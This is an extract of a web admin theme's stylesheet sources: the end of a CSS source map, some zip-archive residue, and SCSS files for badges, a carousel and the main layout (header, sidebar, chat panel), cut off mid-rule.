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",
"sources": ["theme.scss","_settings.scss","_mixins.scss","_cards.scss","_widgets.scss","_tables.scss","_badges.scss","_navigation.scss","_buttons.scss","_modal.scss","_forms.scss","_carousel.scss","_calendar.scss","_alert.scss","_auth.scss","_main.scss"],
"names": [],
"file": "theme.css"
}
PK��\H>�ˁ�scss/_badges.scssnu�[���.badge {
    padding: 6px 10px;
    font-size: 12px;
    font-weight: 600;
    &.badge-top-left {
	    top: 7px;
	    right: 10px;
	}
	&.badge-top-left-2 {
	    top: 40px;
	    right: 10px;
	}
}
.badge-primary, .badge-success, .badge-info, .badge-warning, .badge-danger, .badge-inverse, .badge-purple, .badge-pink, .badge-twitter, .badge-facebook, .badge-linkedin, .badge-google, .badge-dribbble, .badge-instagram {
    color: $white;
}
.badge-theme {
    background-color: $theme;
}
.badge-aqua {
    background-color: $aqua;
}
.badge-blue {
    background-color: $blue;
}
.badge-light-blue {
    background-color: $light-blue;
}
.badge-teal {
    background-color: $teal;
}
.badge-yellow {
    background-color: $yellow;
}
.badge-orange {
    background-color: $orange;
}
.badge-green {
    background-color: $green;
}
.badge-lime {
    background-color: $lime;
}
.badge-red {
    background-color: $red;
}
.badge-fuchsia {
    background-color: $fuchsia;
}
.badge-navy {
    background-color: $navy;
}
.badge-empty {
    background: $empty;
}
.badge-primary {
    background-color: $primary;
}
.badge-success {
    background-color: $success;
}
.badge-info {
    background-color: $info;
}
.badge-warning {
    background-color: $warning;
}
.badge-danger {
    background-color: $danger;
}
.badge-muted {
    background-color: $muted;
}
.badge-inverse {
    background-color: $inverse;
}
.badge-purple {
    background-color: $purple;
}
.badge-pink {
    background-color: $pink;
}
.badge-white {
    background-color: $white;
}
.btn {
	.badge {
	    padding: 2px 6px;
	}
}PK��\0e�d

scss/_carousel.scssnu�[���.slider-nav {
	.left-arrow, .right-arrow {
		font-size: 20px;
	    color: #145388;
	    display: inline-block;
	    vertical-align: middle;
	    margin: 0 15px;
	}
	.slider-dot-container {
	    display: inline-block;
	    .owl-dot {
		    width: 6px;
		    height: 6px;
		    border-radius: 10px;
		    color: #00a7e2;
		    background: #7cb9ec;
		    outline: initial!important;
		    border: initial;
		    margin: 0 5px;
		    padding: 0;
		    &.active {
			    background: #145388;
			}
		}
	}
}PK��\"��`u`uscss/_main.scssnu�[���$ff: 'Nunito Sans', sans-serif;
body {
    color: #212121;
    font-size: .8rem;
    line-height: 1.5;
    font-weight: 400;
    font-family: $ff;
}
.dropdown-toggle {
    @include pseudo-element('after') {
		display: none;
    }
}
.tooltip {
    font-family: $ff;
    font-size: 12px;
    font-weight: 700;
}
.truncate {
    text-overflow: ellipsis;
    white-space: nowrap;
    overflow: hidden;
}
.progress-sm {
	height: .5rem;
	.progress-bar {
		height: .5rem;
	}
}
.img-thumbnail, .list-thumbnail {
	border-radius: .1rem;
	padding: 0;
	border: initial;
}
.list-thumbnail {
    height: auto;
    max-width: unset;
    height: 85px;
    object-fit: cover;
    width: unset!important;
    @include mq('tablet-wide', 'max') {
    	&.responsive {
		    width: unset;
		    height: 135px;
		}
    }
    &.small {
    	height: 60px;
    	font-size: 1rem;
    }
}
.list-thumbnail-letters {
    width: 85px;
    height: 85px;
    background: #090e40;
    align-items: center;
    display: flex;
    justify-content: center;
    font-size: 1.25rem;
    color: #fff;
    &.small {
    	width: 60px;
	    height: 60px;
	    font-size: 1rem;
    }
}
.list-item-heading {
    font-size: 1rem;
}
.flex-grow-1 {
    @include flex-grow(1);
}
.dropdown-menu {
    padding: 5px;
    font-size: 12px;
    background-color: $white;
    border-color: $empty;
    margin: 0;
    width: 170px;
    @include border-radius(6px);
    @include box-shadow(0 2px 30px rgba(0,0,0,.08));
	.dropdown-item {
	    background-color: $white;
	    padding: 8px 15px;
	    line-height: 14px;
	    @include border-radius(4px);
	    .dropdown-icon {
		    display: inline-block;
		    vertical-align: middle;
		    font-size: 16px;
		    margin-right: 5px;
		    vertical-align: -2px;
		    color: $grey;
		}
		&:hover, &:focus {
			background-color: #dee2e6 !important;
			color: $dark;
		}
		.badge {
		    width: 15px;
		    height: 15px;
		    border-radius: 50%;
		    text-align: center;
		    padding: 0;
		    line-height: 15px;
		}
	}
	@include pseudo-element('after') {
	    bottom: 100%;
	    left: 10px;
	    border: solid transparent;
	    content: ' ';
	    height: 0;
	    width: 0;
	    position: absolute;
	    pointer-events: none;
	    border-color: rgba(136, 183, 213, 0);
	    border-bottom-color: $white;
	    border-width: 5px;
    }
    &.dropdown-menu-right::after {
	    right: 10px;
	    left: auto;
	}
}
.wrapper {
	.header-top {
		background-color: $white;
		z-index: 1030;
	    position: relative;
	    padding: 15px 0;
	    position: fixed;
	    top: 0;
	    width: 100%;
	    left: 0;
	    padding-left: 240px;
	    @include box-shadow(0 1px 15px rgba(0,0,0,.04), 0 1px 6px rgba(0,0,0,.04));
	    .top-menu {
	    	.dropdown {
			    margin-left: 10px;
			    .dropdown-menu {
				    margin-top: 10px;
					&.menu-grid {
						width: 182px;
						.dropdown-item {
						    display: inline-block;
						    width: 40px;
						    height: 40px;
						    text-align: center;
						    padding: 0;
						    line-height: 40px;
						    font-size: 18px;
						    color: #5A5A5A;
						}
					}
					&.notification-dropdown {
						min-width: 300px;
						padding: 0;
						.header {
							margin: 0;
							padding: 15px;
							font-size: 16px;
							border-bottom: 1px solid #f1f1f1;
						}
						.notifications-wrap {
							.media {
								border-bottom: 1px solid #eef1f2;
								padding: 10px;
								&:nth-child(odd) {
								    background: #f8f9fa;
								}
								.d-flex {
									-webkit-box-align: start;
								    -ms-flex-align: start;
								    align-items: flex-start;
								    margin-right: 15px;
									i {
										color: #fff;
									    text-align: center;
									    font-size: 15px;
									    line-height: 30px;
									    top: 0;
									    height: 30px;
									    width: 30px;
									    background: #404E67;
									    @include border-radius(50%);
									}
									img {
										height: 30px;
									}
								}
								.media-body {
									font-size: 12px;
									.media-heading {
									    color: #444;
									    font-weight: 600;
									    letter-spacing: 0;
									}
									.media-content {
									    color: #868e96;
									}
								}
							}
						}
						.footer {
							text-align: center;
							padding: 10px 15px;
							a {
								color: #212121;
								font-size: 16px;
							}
						}
					}
				}
			}
	    	.nav-link {
			    width: 30px;
			    height: 30px;
			    padding: 0;
			    text-align: center;
			    line-height: 36px;
			    color: $dark;
			    border: none;
			    position: relative;
			    @include border-radius(50%);
			    @include transition(all .5s ease-in-out);
			    &:hover, &:focus{
			    	background-color: #dee2e6;
    				color: #333;
			    }
			    i {
				    font-size: 16px;
				}
				.badge {
				    right: -1px;
				    position: absolute;
				    top: -4px;
				    padding: 3px;
				    width: 17px;
				    font-size: 11px;
				    font-weight: 800;
				    color: #fff;
				    @include border-radius(100px);
				}
			}
			.avatar {
			    color: $inverse;
			    font-weight: 600;
			    width: 30px;
			    height: 30px;
			    line-height: 30px;
			    @include border-radius(50%);
			    display: inline-block;
			    background: #ced4da no-repeat center/cover;
			    position: relative;
			    vertical-align: bottom;
			    font-size: .875rem;
			    user-select: none;
			}
			.mobile-nav-toggle {
			    border: none;
			    position: relative;
			    margin-right: 5px;
			    span {
				    height: 2px;
				    width: 20px;
				    background-color: #4a5361;
				    display: inline-block;
				    border-radius: 4px;
				    position: absolute;
				    top: 14px;
				    left: 5px;
				    &::before, &::after {
				    	content: "";
					    height: 2px;
					    width: 20px;
					    border-radius: 4px;
					    background-color: #4a5361;
					    display: inline-block;
					    position: absolute;
				    }
				    &::before {
				    	left: 0;
    					top: -6px;
				    }
				    &::after {
			    	    left: 0;
						bottom: -6px;
				    }
				}
			}
			.header-search {
				padding: 0 10px;
				position: relative;
				.input-group {
					@include border-radius(20px);
					margin-bottom: 0;
					.input-group-addon {
					    color: #404E67;
					    padding: 2px 10px 2px 0px;
					    font-size: 16px;
					    cursor: pointer;
					    &.search-close {
						    padding: 2px 0px 2px 10px;
						    display: none;
						}
					}
					.form-control {
					    padding: 0 10px;
					    min-height: auto;
					    width: 0;
					    border: none;
					    color: #353c4e;
					    background-color: transparent;
					    @include border-radius(0px);
					}
				}
				&.open {
					.input-group {
					    background-color: #e4e4e4;
					    .input-group-addon.search-close {
						    display: block;
						}
					}
				}
			}
	    }
	    @include mq('tablet-wide', 'max') {
		    padding-left: 0;
		}
		&[header-theme="light"] {
		    background: $white;
		}
		&[header-theme="dark"] {
		    background: #272d36;
		}
		&[header-theme="blue"] {
		    background: $primary;
		}
		&[header-theme="red"] {
		    background: $danger;
		}
		&[header-theme="orange"] {
		    background: $warning;
		}
		&[header-theme="green"] {
		    background: $success;
		}
		&[header-theme="purple"] {
		    background: $purple;
		}
		&[header-theme="blue"], &[header-theme="red"], &[header-theme="orange"], &[header-theme="green"], &[header-theme="purple"], &[header-theme="dark"] {
			.top-menu {
		    	.nav-link {
		    		color: $white;
		    		background-color: $empty;
		    	}
		    	.header-search {
					.input-group {
						.input-group-addon {
						    color: $white;
						}
					}
				}
		    }
		}
	}
	.page-wrap {
	    position: relative;
	    .app-sidebar {
		    position: fixed;
		    left: 0;
		    top: 0;
		    width: 240px;
		    height: 100vh;
		    background-color: $white;
		    z-index: 1040;
		    @include box-shadow(0 3px 30px rgba(0,0,0,.1), 0 3px 20px rgba(0,0,0,.1));
		    @include transition(width 0.3s cubic-bezier(0, 0, 0.2, 1));
		    @include translate3d(0, 0, 0);
		    white-space: nowrap;
		    visibility: visible;
		    .sidebar-header {
			    @include flexbox();
			    @include align-items(center);
			    @include justify-content(space-between);
			    padding: 13px 15px;
			    height: 60px;
			    .header-brand {
				    display: block;
				    font-size: 22px;
				    font-weight: 700;
				    color: #212529;
				    .logo-img {
					    display: inline-block;
					    width: 30px;
					}
				}
				.nav-toggle {
					border: none;
					background-color: $empty;
					color: $white;
					font-size: 20px;
					@include box-shadow(none);
				}
				.btn-icon {
				    border: none;
				}
				.nav-close {
				    display: none;
				    border: none;
					background-color: $empty;
					color: $white;
					font-size: 20px;
					@include box-shadow(none);
				    @include mq('tablet-wide', 'max') {
				    	display: inline-block;
				    }
				}
				@include mq('tablet-wide', 'max') {
					.nav-toggle {
					    display: none;
					}
				}
			}
			.sidebar-content {
			    position: relative;
			    height: -webkit-calc(100vh - 60px);
			    height: -moz-calc(100vh - 60px);
			    height: calc(100vh - 60px);
			    overflow: auto;
			    z-index: 4;
			    .nav-container {
					.navigation-main {
						.nav-item {
						    // border-bottom: 1px solid #f3f3f3;
						    position: relative;
						    a {
							    display: block;
							    overflow: hidden;
							    padding: 15px 5px;
							    margin-left: 15px;
							    margin-right: 15px;
							    color: #545454;
							    position: relative;
							    i {
								    font-size: 20px;
								    margin-right: 10px;
								    display: inline-block;
								    vertical-align: -4px;
								}
								span {
								    font-size: 13px;
								}
								.badge {
									position: absolute;
								    right: 30px;
								    text-align: center;
								    top: 16px;
								    vertical-align: middle;
								    white-space: nowrap;
								    opacity: 1;
								    visibility: visible;
								    border-radius: 4px;
								    font-size: 75%;
								    padding: 4px 7px;
								    margin-right: 5px;
								    font-weight: 800;
								    color: #fff;
								    -webkit-transition: opacity 0.3s linear;
								    transition: opacity 0.3s linear;
								    text-transform: uppercase;
								}
								&.disabled {
								    opacity: 0.5;
								    cursor: not-allowed !important;
								}
							}
							&.has-sub {
								a::before {
								    content: "\e844";
								    font-family: "iconkit";
								    position: absolute;
								    right: 3px;
								    top: 15px;
								    @include rotate(0);
								    @include transition(all 0.2s ease-in-out);
								}
								.submenu-content {
								    background-color: #f3f3f3;
								    .menu-item {
									    padding: 10px 5px;
									    font-size: 13px;
									    padding-left: 50px;
									    margin: 0;
									    &::before {
										    display: none;
										}
										&.active {
											color: #eb525d;
										}
									}
									.nav-item {
										&::after {
											display: none;
										}
										a {
											position: relative;
											&::before {
											    content: "\e844";
											    font-family: "iconkit";
											    position: absolute;
											    right: 20px;
											    top: 10px;
											    display: inline-block;
											    @include rotate(0);
											    @include transition(all 0.2s ease-in-out);
											}
										}
										.submenu-content {
											.menu-item {
												padding-left: 70px;
												&::before {
													display: none;
												}
											}
										}
										&.open {
											a::before {
												@include rotate(90);
											}
										}
									}
								}
							}
							&:not(.open) .submenu-content {
							    display: none;
							}
							&.open {
								a::before {
									@include rotate(90);
								}
								&::after {
								    background: #576a3d;
								    border-radius: 10px;
								    color: #fff;
								    content: " ";
								    height: 30px;
								    left: 0;
								    position: absolute;
								    top: 10px;
								    width: 3px;
								}
							}
							&.active::after {
							    background: #576a3d;
							    border-radius: 10px;
							    color: #fff;
							    content: " ";
							    height: 30px;
							    left: 0;
							    top: 10px;
							    position: absolute;
							    width: 3px;
							}
						}
						.nav-lavel {
							font-size: 14px;
						    font-weight: 400;
						    opacity: 1;
						    padding: 8px 20px 8px;
						    text-transform: capitalize;
						    visibility: visible;
						    width: 100%;
						    color: #999;
						    background: #333e52;
						}
					}
			    }
			}
			&.colored {
		    	.sidebar-header {
				    background-color: #272d36;
				    .header-brand {
					    color: $white;
					}
				}
				.sidebar-content {
				    background-color: #404E67;
				    .nav-container {
						.navigation-main {
							.nav-item {
							    border-color: rgba(243, 243, 243, 0.15);
							    a {
								    color: $white;
								    i {
									    color: #bcc8d8;
									}
								}
								.submenu-content {
								    background-color: #4a5872;
								}
								&.open::after, &.active::after {
								    background-color: #eb525d;
								}
							}
						}
				    }
				}
		    }
		    &.hide-sidebar {
		    	@include transition(transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1));
		    	@include translate3d(-100%, 0, 0);
		    }
		    @include mq('tablet-wide', 'max') {
		    	@include transition(transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1));
		    }
		}
		.main-content {
		    padding: 30px 0;
		    background-color: #F6F7FB;
		    min-height: calc(100vh - 120px);
		    margin-top: 60px;
		    padding-right: 15px;
		    padding-left: 255px;
		    @include transition(all 0.3s ease);
		    @include mq('tablet-wide', 'max') {
		        padding-left: 0;
		        padding-right: 0;
		    }
		    .page-header {
			    margin-bottom: 30px;
			    .page-header-title {
			    	i {
			    		float: left;
					    width: 40px;
					    height: 40px;
					    border-radius: 5px;
					    margin-right: 20px;
					    vertical-align: middle;
				        font-size: 22px;
				        color: #fff;
				        display: inline-flex;
				        @include justify-content(center);
				        @include align-items(center);
				        @include box-shadow(0 2px 12px -3px rgba(0,0,0,0.5));
			    	}
			    	h5 {
			    		margin-bottom: 0;
			    		font-weight: 700;
			    		font-size: 18px;
			    		&+span {
			    			font-size: 13px;
			    		}
			    	}
			    }
			    .breadcrumb-container {
			    	float: right;
			    	.breadcrumb {
					    background-color: transparent;
					    margin-bottom: 0;
					    float: right;
					    .breadcrumb-item {
					    	a {
						    	color: #212121;
							}
						}
					}
			    }
			}
			.card {
		    	.card-body {
		    		.sub-title {
					    font-size: 14px;
					    border-bottom: 1px solid rgba(204,204,204,0.35);
					    padding-bottom: 10px;
					    margin-bottom: 20px;
					    color: #2c3e50;
					}
					code {
					    background-color: #eee;
					    margin: 5px;
					    display: inline-block;
					    padding: 1px 6px;
					    @include border-radius(3px)
					}
		    		.list-item-wrap {
		    			.list-item {
						    padding: 13px 20px;
						    border: 1px solid #ededed;
						    position: relative;
						    border-left: 0;
						    border-right: 0;
						    height: 50px;
						    overflow: hidden;
						    @include transition(transform 0.2s ease-in-out);
						    .item-inner {
						    	@include flexbox();
						    	@include justify-content(flex-start);
						    	position: relative;
						    	.custom-control {
								    margin: 0;
								    margin-top: -2px;
								}
								.list-title {
								    width: 100%;
								    display: block;
								    a {
									    color: #3e5569;
									    font-weight: 600;
									    display: block;
									    width: 100%;
									    white-space: nowrap;
									    text-overflow: ellipsis;
									    overflow: hidden;
									    width: calc(100% - 50px);
									}
								}
								.list-actions {
								    position: absolute;
								    right: 0px;
								    top: 50%;
								    opacity: 0;
								    display: none;
								    z-index: 3;
								    padding-left: 10px;
								    @include transform(translateY(-50%)); 
								    a {
									    width: 30px;
									    height: 30px;
									    padding: 0;
									    border-radius: 50%;
									    text-align: center;
									    line-height: 32px;
									    color: #999;
									    display: inline-block;
									    &:hover, &:focus {
									    	background-color: #dee2e6;
    										color: #333;
									    }
									}
								}
						    }
						    .qickview-wrap {
							    margin-top: 5px;
							    opacity: 0;
							    .desc {
							    	p {
									    margin: 0;
									}
							    }
							}
							&:hover, &:focus {
								background-color: #f9f9f9;
								.list-actions {
								    opacity: 1;
								    display: block;
								}
							}
							&.quick-view-opened {
							    height: auto;
							    background-color: $white;
							    border: none;
							    z-index: 5;
							    @include box-shadow(0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1));
							    @include scale(1.01);
							    .item-inner {
							    	.list-title {
										a {
										    font-size: 16px;
										    color: #263238;
										}
							    	}
							    }
							    .qickview-wrap {
								    opacity: 1;
								}
							}
							& + .list-item {
							    margin-top: -1px;
							}
							&:last-child {
							    border-bottom: none;
							}
						}
		    		}
		    	}
		    }
		}
		.footer {
		    background: $white;
		    padding: 20px 30px;
		    border-top: 1px solid rgba(0, 0, 0, 0.04);
		    font-size: calc(0.875rem - 0.05rem);
		    @include transition(all 0.25s ease);
		    @include mq('tablet-wide') {
		        padding-left: 270px;
		    }
		}
		.right-sidebar {
		    position: fixed;
		    top: 60px;
		    right: 0;
		    width: 240px;
		    background: #fff;
		    height: calc(100vh - 60px);
		    border-left: 1px solid #eef1f2;
		    border-top: 1px solid #eef1f2;
		    padding: 1.07143em;
		    z-index: 9;
		    @include transform(translateX(100%));
		    @include transition(all 0.25s ease);
		    .sidebar-chat {
		    	.sidebar-chat-info {
				    h6 {
				    	color: #353c4e;
				    }
				    .form-group {
				    	position: relative;
						.form-control {
							padding-right: 30px;
							@include border-radius(50px);
							padding-left: 15px;
						}
						i {
							position: absolute;
							top: 8px;
							right: 10px;
							font-size: 16px;
							color: #bbb;
						}
				    }
				}
				.chat-list {
					.list-group {
						margin-left: -1.07143em;
    					margin-right: -1.07143em;
    					.list-group-item {
						    background: none;
						    border: 0;
						    border-top: 1px solid #eef1f2;
						    padding: 1em 1.07143em;
						    overflow: hidden;
						    color: #999;
						    @include flexbox();
						    @include align-items(center);
						    figure {
							    margin: 0;
							    position: relative;
							    margin-right: 10px;
							    img {
							    	width: 40px;
							    	height: 40px;
							    }
							}
							span {
							    line-height: 1em;
							    @include flexbox();
							    @include justify-content(end);
							    @include flex-direction(column);
							    .name {
								    font-size: 14px;
								    color: #444;
								    margin-bottom: 5px;
								}
							}
						}
						[class*="user-"]:after {
						    position: absolute;
						    top: calc(50% + 15px);
						    left: 0;
						    @include transform(translateY(-50%));
						}
					}
				}
		    }
		}
		.chat-panel {
		    position: fixed;
		    top: calc(100vh);
		    right: calc( 240px + 15px);
		    width: 310px;
		    z-index: 9999;
		    @include transform(translateY(-100%) translateX(14.0625rem));
			.card {
			    border: none;
			    margin-bottom: 1.42857em;
			    @include border-radius(10px);
			    @include box-shadow(0 4px 8px 3px rgba(0, 0, 0, 0.2));
			    .card-header {
				    background: none;
				    padding: 1.07143em 1.42857em;
				    font-size: 1.14286em;
				    border-bottom: 1px solid rgba(153, 153, 153, 0.2);
				}
				.card-body {
				    padding: 1.07143em;
				    .messages {
					    position: relative;
					    max-height: 21.42857em;
					    overflow-y: scroll;
					    margin-top: -1.07143em;
					    margin-right: -1.07143em;
					    margin-left: -1.07143em;
					    padding-top: 1.07143em;
					    padding-right: 1.07143em;
					    padding-left: 1.07143em;
					    .message {
						    margin: 0.71429em 0;
						    &:first-child {
							    margin-top: 0;
							}
							figure {
							    -webkit-box-ordinal-group: 3;
							    -ms-flex-order: 2;
							    margin: 0;
							    position: relative;
							    order: 2;
							    img {
							    	width: 30px;
							    	height: 30px;
							    }
							}
							.message-body {
							    margin-top: .5em;
							    display: -webkit-inline-box;
							    display: -ms-inline-flexbox;
							    display: inline-flex;
							    -webkit-box-orient: vertical;
							    -webkit-box-direction: normal;
							    -ms-flex-direction: column;
							    flex-direction: column;
							    -webkit-box-align: end;
							    -ms-flex-align: end;
							    align-items: flex-end;
							    margin: auto 1.5em;
							    -webkit-box-ordinal-group: 2;
							    -ms-flex-order: 1;
